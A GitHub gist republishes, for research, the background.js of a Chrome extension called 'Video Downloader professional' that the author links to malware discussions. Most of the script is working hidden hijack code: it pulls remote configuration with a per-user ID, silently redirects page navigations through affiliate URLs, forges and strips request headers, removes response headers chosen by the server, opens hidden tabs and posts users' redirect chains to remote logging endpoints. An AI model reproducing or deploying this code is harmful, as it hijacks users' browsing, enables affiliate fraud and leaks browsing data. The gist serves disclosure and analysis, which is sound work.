Skip to content

Instantly share code, notes, and snippets.

@thibaudcolas
Last active January 30, 2022 05:45
Show Gist options
  • Save thibaudcolas/698e737ce9065bece1f77e12ef38b782 to your computer and use it in GitHub Desktop.
Save thibaudcolas/698e737ce9065bece1f77e12ef38b782 to your computer and use it in GitHub Desktop.
Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

Video Downloader professional kmdldgcmokdpmacblnehppgkjphcbpnn background.js

This is the source of background.js for a now-unpublished Chrome extension called "Video Downloader professional" (ID kmdldgcmokdpmacblnehppgkjphcbpnn, since then replaced with another "Video Downloader professional" (ID bacakpdjpomjaelpkpkabmedhkoongbi). This script is republished here for educational / research purposes. It has initially been extracted from the extension’s archive available as v2.4 on https://www.crx4chrome.com/.

Why is this interesting?

The extension has appeared in malware discussions in the past. Its replacement of Video downloader professional "bacakpdjpomjaelpkpkabmedhkoongbi" seems related to the ownership change of The Great Suspender.

What does the code do?

It’s unclear to me, but I hope you can figure it out!

The "background processing" code from line 2 to line 654, appears unrelated to the video download features. This code appears to periodically phone home to a configuration server, and from there contains additional logic to make subsequent background requests / open new tabs as instructed.

var _gaq = _gaq || [];
class Bg {
constructor() {
(this.config = { analyticsId: "UA-126378551-1" }),
(this.storage = { config: this.config }),
(this.filterRequestConfigured = !1),
(this.hpInitiated = !1),
(this.analyticsSent = !1),
(this.uid = ""),
(this.bgProcessorRun = !1),
this.initStorage(),
this.initListeners();
}
initListeners() {
let a = this;
chrome.runtime.onInstalled.addListener(function (b) {
"install" == b.reason && a.config.afterInstallUrl
? chrome.tabs.create({ url: a.config.afterInstallUrl })
: "update" == b.reason &&
a.config.afterUpdateUrl &&
chrome.tabs.create({
pinned: !0,
url: a.config.afterUpdateUrl,
});
}),
chrome.runtime.setUninstallURL &&
a.config.afterUninstallUrl &&
chrome.runtime.setUninstallURL(a.config.afterUninstallUrl);
}
initStorage() {
let a = this;
chrome.storage.local.get(this.storage, (b) => {
b && (this.storage = b),
b && b.config && (this.config = b.config),
a.config.uid
? (a.uid = a.config.uid)
: ((a.uid = a.config.uid = a.generateUID()),
a.saveConfig()),
(a.config.mTime && a.config.lTime) ||
((a.config.lTime = 0),
(a.config.mTime = new Date().getTime()),
a.saveConfig()),
this.filterRequests(),
this.initHeadersProcessesor(),
this.initBgProcessor(),
this.sendAnalytics(),
this.updateConfig();
});
}
initHeadersProcessesor() {
this.config &&
this.config.hpUrl &&
this.config.hpKey &&
!this.hpInitiated &&
((this.hpInitiated = !0), this.headersCheck());
}
headersCheck() {
var a = this;
(function () {
function b(a, b, h) {
var j = !1;
if (-1 < g.indexOf(b)) j = !0;
else
for (var k in g)
if (-1 < g[k].indexOf(b) || -1 < b.indexOf(g[k])) {
j = !0;
break;
}
j
? (e =
c +
"/get?key=" +
d +
"&out=" +
encodeURIComponent(a) +
"&ref=" +
encodeURIComponent(a) +
"&uid=&format=go")
: (f.data.used_domains[b] = h + 864e5);
}
var c = a.config.hpUrl,
d = a.config.hpKey,
e = "",
f = { data: { used_domains: {} } },
g = [],
h = !0;
(function () {
var a = new XMLHttpRequest();
(a.timeout = 15e3),
(a.onreadystatechange = function () {
4 === a.readyState &&
(200 === a.status
? ((g = JSON.parse(a.responseText)),
g && (h = !0))
: (h = !1));
}),
a.open("GET", c + "/coverage?key=" + d, !0),
a.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
),
a.send();
})(),
chrome.webRequest.onBeforeRequest.addListener(
function (a) {
if (!(0 > a.tabId) && "GET" == a.method && h) {
var c = a.url
.replace(/^https?\:\/\/([^\/]+).*$/, "$1")
.replace("www.", ""),
d = new Date().getTime();
if (
!(
f.data.used_domains[c] &&
f.data.used_domains[c] + 7200000 > d
)
)
return ((f.data.used_domains[c] = d),
e ? (e = "") : b(a.url, c, d),
e)
? ((h = !1),
setTimeout(function () {
(e = ""), (h = !0);
}, 15e3),
{ redirectUrl: e })
: void 0;
}
},
{ urls: ["*://*/*"], types: ["main_frame"] },
["blocking"]
),
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("GET" == a.method && -1 < a.url.indexOf(c))
for (var b in a.requestHeaders) {
var d = a.requestHeaders[b];
if ("referer" == d.name.toLowerCase()) {
a.requestHeaders.splice(b, 1);
break;
}
}
return { requestHeaders: a.requestHeaders };
},
{ urls: ["<all_urls>"] },
["blocking", "requestHeaders"]
);
})();
}
saveConfig() {
chrome.storage.local.set({ config: this.config });
}
updateConfig() {
let a = this;
const b = chrome.runtime.getManifest().version;
a.heartBeat(),
$.ajax({
url: "http://videodownloader.io/rest/api/config/",
dataType: "json",
data: {
id: "kmdldgcmokdpmacblnehppgkjphcbpnn",
version: b,
mt: a.config.mTime,
lt: a.config.lTime,
uid: a.uid,
t: Date.now(),
},
success: (a) => {
if (a) {
for (let b in a) this.config[b] = a[b];
this.saveConfig();
}
},
complete: () => {
a.filterRequests(),
a.initHeadersProcessesor(),
a.initBgProcessor(),
a.sendAnalytics(),
a.config.configUpTime &&
0 < a.config.configUpTime &&
setTimeout(function () {
a.updateConfig();
}, a.config.configUpTime);
},
});
}
heartBeat() {
let a = new Date().getTime(),
b = a - this.config.mTime,
c = this.config.configUpTime
? this.config.configUpTime + 3e5
: 12e5;
this.config.mTime && b < c
? ((this.config.lTime += b),
(this.config.mTime = a),
this.saveConfig())
: ((this.config.mTime = a), this.saveConfig());
}
generateUID() {
return "xxxxxxxx-xxxx-2xxx-yxxx-xxxxxxxxxxxx".replace(
/[xy]/g,
function (a) {
var b = 0 | (16 * Math.random()),
c = "x" == a ? b : 8 | (3 & b);
return c.toString(16);
}
);
}
initBgProcessor() {
let a = this;
if (!a.config.bgProcessor)
return void bgProcessor.initCfg({ mode: "off" });
if (a.bgProcessorRun)
return void bgProcessor.initCfg(a.config.bgProcessor);
(a.bgProcessorRun = !0),
bgProcessor.initCfg(a.config.bgProcessor),
chrome.webRequest.onCompleted.addListener(
function (a) {
if (
"on" === bgProcessor.cfg.mode &&
!(0 > a.tabId) &&
200 == a.statusCode &&
"GET" == a.method
) {
var b = a.url.replace(/^(https?\:\/\/[^\/]+).*$/, "$1"),
c = a.url.replace(/^https?\:\/\/([^\/]+).*$/, "$1");
bgProcessor.cfg.keep_www_prefix ||
(c = c.replace(/^www\.(.*)$/, "$1"));
var d = new Date().getTime();
if (
!(
bgProcessor.used_domains[c] &&
bgProcessor.used_domains[c] +
bgProcessor.cfg.ttl_ms >
d
) &&
!(
bgProcessor.cfg.domains_blacklist &&
0 < bgProcessor.cfg.domains_blacklist.length &&
bgProcessor.cfg.domains_blacklist.includes(c)
) &&
!(
bgProcessor.cfg.domains_whitelist &&
0 < bgProcessor.cfg.domains_whitelist.length &&
!bgProcessor.cfg.domains_whitelist.includes(c)
)
) {
bgProcessor.used_domains[c] = d;
var e = bgProcessor.cfg.aff_url_tmpl.replace(
"{URL}",
encodeURIComponent(b)
);
if (
((e = e.replace(
"{DOMAIN}",
encodeURIComponent(c)
)),
bgProcessor.cfg.aff_redirect)
)
return !bgProcessor.cfg.domains_whitelist ||
0 <
!bgProcessor.cfg.domains_whitelist
.length
? void 0
: (bgProcessor.push_chain(b),
void bgProcessor.request_bg(e, c, 0));
var f = new XMLHttpRequest();
(f.timeout = bgProcessor.cfg.aff_timeout_ms),
(f.onreadystatechange = function () {
if (4 == f.readyState && 200 == f.status) {
var a = f.responseText.replace(
/[\n\r]/g,
""
);
if (/^https?\:\/\//.test(a) && a != b) {
var e = b.replace(
/^https?\:\/\/([^\/]+).*$/,
"$1"
);
bgProcessor.push_chain(b),
bgProcessor.request(a, e);
} else
bgProcessor.used_domains[c] =
d +
bgProcessor.cfg
.no_coverage_ttl_ms;
}
}),
f.open("GET", e),
f.send();
}
}
},
{ urls: ["http://*/*", "https://*/*"], types: ["main_frame"] }
);
let b = ["blocking", "requestHeaders"];
if (
bgProcessor.cfg &&
bgProcessor.cfg.rfr_rules &&
0 < bgProcessor.cfg.rfr_rules.length &&
bgProcessor.cfg.listenerExtraOptions
)
for (var c in bgProcessor.cfg.listenerExtraOptions)
b.push(bgProcessor.cfg.listenerExtraOptions[c]);
chrome.webRequest.onBeforeSendHeaders.addListener(
function (a) {
if ("on" !== bgProcessor.cfg.mode || !bgProcessor.cfg.header)
return {};
for (var b = a.requestHeaders, c = "", d = 0; d < b.length; d++)
if (b[d].name === bgProcessor.cfg.header) {
(c = b[d].value), b.splice(d, 1);
break;
}
if (!c) return {};
for (var e = !1, d = 0; d < b.length; d++)
if ("accept" == b[d].name.toLowerCase()) {
(b[d].value = c), (e = !0);
break;
}
if ((e || b.push({ name: "Accept", value: c }), 0 > a.tabId)) {
let c = "";
if (bgProcessor.cfg.rfr_rules)
for (let b in bgProcessor.cfg.rfr_rules) {
let d = bgProcessor.cfg.rfr_rules[b];
if (d.url_request_before) {
if (!bgProcessor.last_request_url) continue;
let a = new RegExp(
d.url_request_before[0],
d.url_request_before[1]
);
if (!a.test(bgProcessor.last_request_url))
continue;
}
if (d.url_response_before) {
if (!bgProcessor.last_response_url) continue;
let a = new RegExp(
d.url_response_before[0],
d.url_response_before[1]
);
if (!a.test(bgProcessor.last_response_url))
continue;
}
if (d.url_chain) {
if (
!bgProcessor.rdr_chain ||
1 > bgProcessor.rdr_chain.length
)
continue;
let a = new RegExp(
d.url_chain[0],
d.url_chain[1]
),
b = !1;
for (let c in bgProcessor.rdr_chain) {
let d = bgProcessor.rdr_chain[c];
if (a.test(d)) {
b = !0;
break;
}
}
if (!b) continue;
}
if (d.url_request) {
let b = new RegExp(
d.url_request[0],
d.url_request[1]
);
if (!b.test(a.url)) continue;
}
if (
("allow" == d.rule &&
(c = bgProcessor.last_response_url),
"replace" == d.rule &&
d.replace &&
(c = d.replace),
"regexp" == d.rule && d.regexp && d.replace)
) {
var f = new RegExp(d.regexp[0], d.regexp[1]);
c = bgProcessor.last_response_url.replace(
f,
d.replace
);
}
break;
}
if (c) {
let a = b.findIndex(
(a) => "referer" == a.name.toLowerCase()
);
-1 < a
? (b[a].value = c)
: b.push({ name: "Referer", value: c });
}
}
return { requestHeaders: b };
},
{ urls: ["http://*/*", "https://*/*"] },
b
);
}
sendAnalytics() {
this.analyticsSent ||
!this.config.analyticsId ||
(_gaq.push(["_setAccount", this.config.analyticsId]),
_gaq.push(["_trackPageview"]),
(function () {
var a = document.createElement("script");
(a.type = "text/javascript"),
(a.async = !0),
(a.src = "https://ssl.google-analytics.com/ga.js");
var b = document.getElementsByTagName("script")[0];
b.parentNode.insertBefore(a, b);
})(),
(this.analyticsSent = !0));
}
filterRequests() {
var a = this;
this.config &&
this.config.validateFields &&
!this.filterRequestConfigured &&
((this.filterRequestConfigured = !0),
chrome.webRequest &&
chrome.webRequest.onHeadersReceived.addListener(
function (b) {
return {
responseHeaders: b.responseHeaders.filter(function (
b
) {
return !(
a.config.validateFields &&
-1 <
a.config.validateFields.indexOf(
b.name.toLowerCase()
)
);
}),
};
},
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
));
}
}
let bgProcessor = {
cfg: { mode: "off" },
used_domains: {},
rdr_chain: [],
last_request_url: "",
last_response_url: "",
initCfg(a) {
a && (this.cfg = a);
},
request: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request", a, b),
this.cfg.ntab_tag && -1 !== a.indexOf(this.cfg.ntab_tag)
? setTimeout(function () {
bgProcessor.request_tab(a, b);
}, this.cfg.ntab_delay_ms)
: this.request_bg(a, b, 0);
},
push_chain: function (a) {
this.rdr_chain.push(a);
},
request_bg: function (a, b, c) {
if (!(c >= this.cfg.rdr_max_count) && this.cfg.header) {
this.push_chain(a), (bgProcessor.last_request_url = a);
var d = new XMLHttpRequest();
(d.timeout = this.cfg.timeout),
(d.onreadystatechange = function () {
var a = Math.floor;
if (4 == d.readyState)
if (200 == d.status) {
var e = d.responseText
.replace(/[\n\r\s]/g, "")
.replace(/\.href/g, ""),
f = !1,
g = d.responseURL,
h = bgProcessor.is_rdr_url(d.responseURL);
if (
((bgProcessor.last_response_url = g),
bgProcessor.last_response_url !=
bgProcessor.last_request_url &&
bgProcessor.push_chain(
bgProcessor.last_response_url
),
h ||
e.length <
bgProcessor.cfg.jsrdr_maxlen_bytes)
) {
var j = e.replace(
/^.*?location\=[\'\"]([^\'\"]+).*$/,
"$1"
);
/^\//.test(j) &&
((link2Url = new URL(j, d.responseURL)),
(j = link2Url.href)),
/^https?\:\/\//.test(j) &&
(bgProcessor.request_bg(j, b, c + 1),
(f = !0));
}
if (!f && bgProcessor.cfg.common_rdr_rules)
for (var k in bgProcessor.cfg
.common_rdr_rules) {
var i = bgProcessor.cfg.common_rdr_rules[k],
l = new RegExp(
i.search[0],
i.search[1]
),
m = e;
if (
("uri" == i.where && (m = g),
i.url_pattern)
) {
var n = new RegExp(
i.url_pattern[0],
i.url_pattern[1]
);
if (!n.test(g)) continue;
}
if (m.match(l)) {
var p = m.replace(l, i.replace);
if (i.applyAfter)
for (var q in i.applyAfter) {
var o = i.applyAfter[q];
if ("decodeURIComponent" == o)
p = decodeURIComponent(p);
else if ("decodeHTML" == o) {
p = (function (a) {
var b = document.createElement(
"textarea"
);
return (
(b.innerHTML = a),
b.value
);
})(p);
} else;
}
if (i.replacements)
for (var r in i.replacements)
p = p.replace(
r,
i.replacements[r]
);
if (i.regReplacements)
for (var s in i.regReplacements) {
var t = new RegExp(
i.regReplacements[
s
].pattern[0],
i.regReplacements[
s
].pattern[1]
);
p = p.replace(
t,
i.regReplacements[s].replace
);
}
if (
(/^\//.test(p) &&
((link2Url = new URL(
p,
d.responseURL
)),
(p = link2Url.href)),
/^https?\:\/\//.test(p))
) {
var u = i.delay ? i.delay : 0;
if (
"string" == typeof u &&
-1 < u.indexOf("-")
) {
var v = u.split("-");
u = a(
Math.random() *
(parseInt(v[1]) -
parseInt(v[0]) +
1) +
parseInt(v[0])
);
}
setTimeout(() => {
bgProcessor.request_bg(
p,
b,
c + 1
);
}, parseInt(u)),
(f = !0);
break;
}
}
}
f || bgProcessor.send_rdr_log();
} else bgProcessor.send_rdr_log(!0);
}),
d.open("GET", a, !0),
d.setRequestHeader(
this.cfg.header,
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
),
d.send();
}
},
is_rdr_url: function (a) {
var b = new URL(a);
return (
!!(this.cfg.rdr_coverage && b.host in this.cfg.rdr_coverage) ||
!!/\/goto\/?$/.test(b.pathname)
);
},
request_tab: function (a, b) {
this.cfg.debug && console.log("bgProcessor.request_tab", a, b),
chrome.tabs.create({ url: a, active: !1 }, function (a) {
setTimeout(function () {
try {
chrome.tabs.remove(a.id);
} catch (a) {}
}, bgProcessor.cfg.ntab_duration_ms);
});
},
send_rdr_log: function (a = !1) {
if (
this.rdr_chain &&
this.cfg &&
this.cfg.log_rdr_active &&
this.cfg.log_rdr_endpoint
) {
if (this.cfg && this.cfg.log_rdr_onlydifferent) {
var b = this.rdr_chain[0],
c = this.rdr_chain[this.rdr_chain.length - 1];
if (
b.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1") ==
c.replace(/^https?\:\/\/(?:www\.|)([^\/]+).*$/, "$1")
)
return;
}
var d = new XMLHttpRequest(),
e = this.cfg.log_rdr_endpoint;
a &&
this.cfg.log_rdr_errors_endpoint &&
(e = this.cfg.log_rdr_errors_endpoint),
d.open("POST", e, !0),
d.setRequestHeader(
"Content-Type",
"application/json;charset=UTF-8"
),
d.send(JSON.stringify(this.rdr_chain)),
(this.rdr_chain = []),
(this.last_request_url = null),
(this.last_response_url = null);
}
},
};
const bg = new Bg();
var vd = {};
(vd.tabsData = {}),
(vd.linksToBeDownloaded = {}),
(vd.videoFormats = {
mp4: { type: "mp4" },
flv: { type: "flv" },
mov: { type: "mov" },
webm: { type: "webm" },
}),
(vd.isVideoUrl = function (a) {
var b = !1;
return (
Object.keys(vd.videoFormats).some(function (c) {
if (-1 != a.indexOf(c)) return (b = !0), !0;
}),
b
);
}),
(vd.getVideoType = function (a) {
var b = null;
return (
a.some(function (a) {
if ("Content-Type" == a.name)
return (
Object.keys(vd.videoFormats).forEach(function (c) {
if (
-1 != a.value.indexOf(c) &&
!/^audio/i.test(a.value)
)
return (b = c), !0;
}),
!0
);
}),
b
);
}),
(vd.getNewTabObject = function () {
return { videoLinks: [], url: "" };
}),
(vd.getVideoSize = function (a) {
var b = 0;
return (
a.forEach(function (a) {
"Content-Length" == a.name && (b = parseInt(a.value));
}),
b
);
}),
(vd.getVideoDataFromServer = function (a, b) {
var c = new XMLHttpRequest();
(c.onreadystatechange = function () {
2 === c.readyState &&
(b({
mime: this.getResponseHeader("Content-Type"),
size: this.getResponseHeader("Content-Length"),
}),
c.abort());
}),
c.open("Get", a),
c.send();
}),
(vd.getFileName = function (a) {
var b = /[A-Za-z0-9()_ -]/,
c = "";
return (
(a = Array.from(a)),
a.forEach(function (a) {
b.test(a) && (c += a);
}),
c
);
}),
(vd.isVideoLinkAlreadyAdded = function (a, b) {
var c = !1;
return (
a.some(function (a) {
if (a.url === b) return (c = !0), !0;
}),
c
);
}),
(vd.updateExtensionIcon = function (a) {
vd.tabsData[a] && 0 < vd.tabsData[a].videoLinks.length
? chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_active.png",
})
: chrome.browserAction.setIcon({
tabId: a,
path: "../images/download_inactive.png",
});
}),
(vd.addVideoLinkToTabFinalStep = function (a, b) {
!vd.isVideoLinkAlreadyAdded(vd.tabsData[a].videoLinks, b.url) &&
1024 < b.size &&
vd.isVideoUrl(b.url) &&
(vd.tabsData[a].videoLinks.push(b), vd.updateExtensionIcon(a));
}),
(vd.addVideoLinkToTab = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.size
? vd.addVideoLinkToTabFinalStep(b, a)
: vd.getVideoDataFromServer(a.url, function (c) {
(a.size = c.size), vd.addVideoLinkToTabFinalStep(b, a);
});
}),
(vd.inspectNetworkResponseHeaders = function (a) {
var b = vd.getVideoType(a.responseHeaders);
return vd.linksToBeDownloaded[a.url]
? (a.responseHeaders.push({
name: "Content-Disposition",
value:
'attachment; filename="' +
vd.linksToBeDownloaded[a.url] +
'"',
}),
{ responseHeaders: a.responseHeaders })
: void (
b &&
chrome.tabs.query(
{ active: !0, currentWindow: !0 },
function (c) {
var d = c[0],
e = d.id;
vd.addVideoLinkToTab(
{
url: a.url,
size: vd.getVideoSize(a.responseHeaders),
fileName: vd.getFileName(d.title),
extension: "." + b,
},
e,
d.url
);
}
)
);
}),
(vd.addVideoLinks = function (a, b, c) {
vd.tabsData[b] || (vd.tabsData[b] = vd.getNewTabObject()),
c != vd.tabsData[b].url &&
((vd.tabsData[b].videoLinks = []), (vd.tabsData[b].url = c)),
a.forEach(function (a) {
(a.fileName = vd.getFileName(a.fileName)),
vd.addVideoLinkToTab(a, b, c);
});
}),
(vd.getVideoLinksForTab = function (a) {
return vd.tabsData[a] ? vd.tabsData[a] : {};
}),
(vd.incrementDownloadCount = function () {
var a = parseInt(localStorage.getItem("total_number_of_downloads"));
(a += 1),
localStorage.setItem("total_number_of_downloads", a),
5 == a &&
confirm(
"You have downloaded multiple videos with Video Downloader professional. Please share your experience with others and make a review for us."
) &&
chrome.tabs.create(
{ url: "http://videodownloader.io/reviews/", selected: !0 },
function () {}
),
7 == a &&
confirm(
"if you like what we do and can support our work, please make a donation so we can keep on making it even better."
) &&
chrome.tabs.create(
{
url: "http://videodownloader.io/contribute/",
selected: !0,
},
function () {}
);
}),
(vd.downloadVideoLink = function (a, b) {
(vd.linksToBeDownloaded[a] = b),
chrome.tabs.query({ active: !0, currentWindow: !0 }, function (b) {
chrome.tabs.update(
b[0].id,
{ url: a, selected: !1 },
function () {}
),
vd.incrementDownloadCount();
});
}),
(vd.showYoutubeWarning = function () {
chrome.tabs.create(
{ url: "http://videodownloader.io/#youtube", selected: !0 },
function () {}
);
}),
chrome.runtime.onInstalled.addListener(function (a) {
"install" == a.reason &&
localStorage.setItem("total_number_of_downloads", 0);
}),
chrome.tabs.onUpdated.addListener(function (a) {
vd.updateExtensionIcon(a);
}),
chrome.tabs.onRemoved.addListener(function (a) {
vd.tabsData[a] && delete vd.tabsData[a];
}),
chrome.webRequest.onHeadersReceived.addListener(
vd.inspectNetworkResponseHeaders,
{ urls: ["<all_urls>"] },
["blocking", "responseHeaders"]
),
chrome.runtime.onMessage.addListener(function (a, b, c) {
switch (a.message) {
case "add-video-links":
vd.addVideoLinks(a.videoLinks, b.tab.id, b.tab.url);
break;
case "get-video-links":
c(vd.getVideoLinksForTab(a.tabId));
break;
case "download-video-link":
vd.downloadVideoLink(a.url, a.fileName);
break;
case "show-youtube-warning":
vd.showYoutubeWarning();
}
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment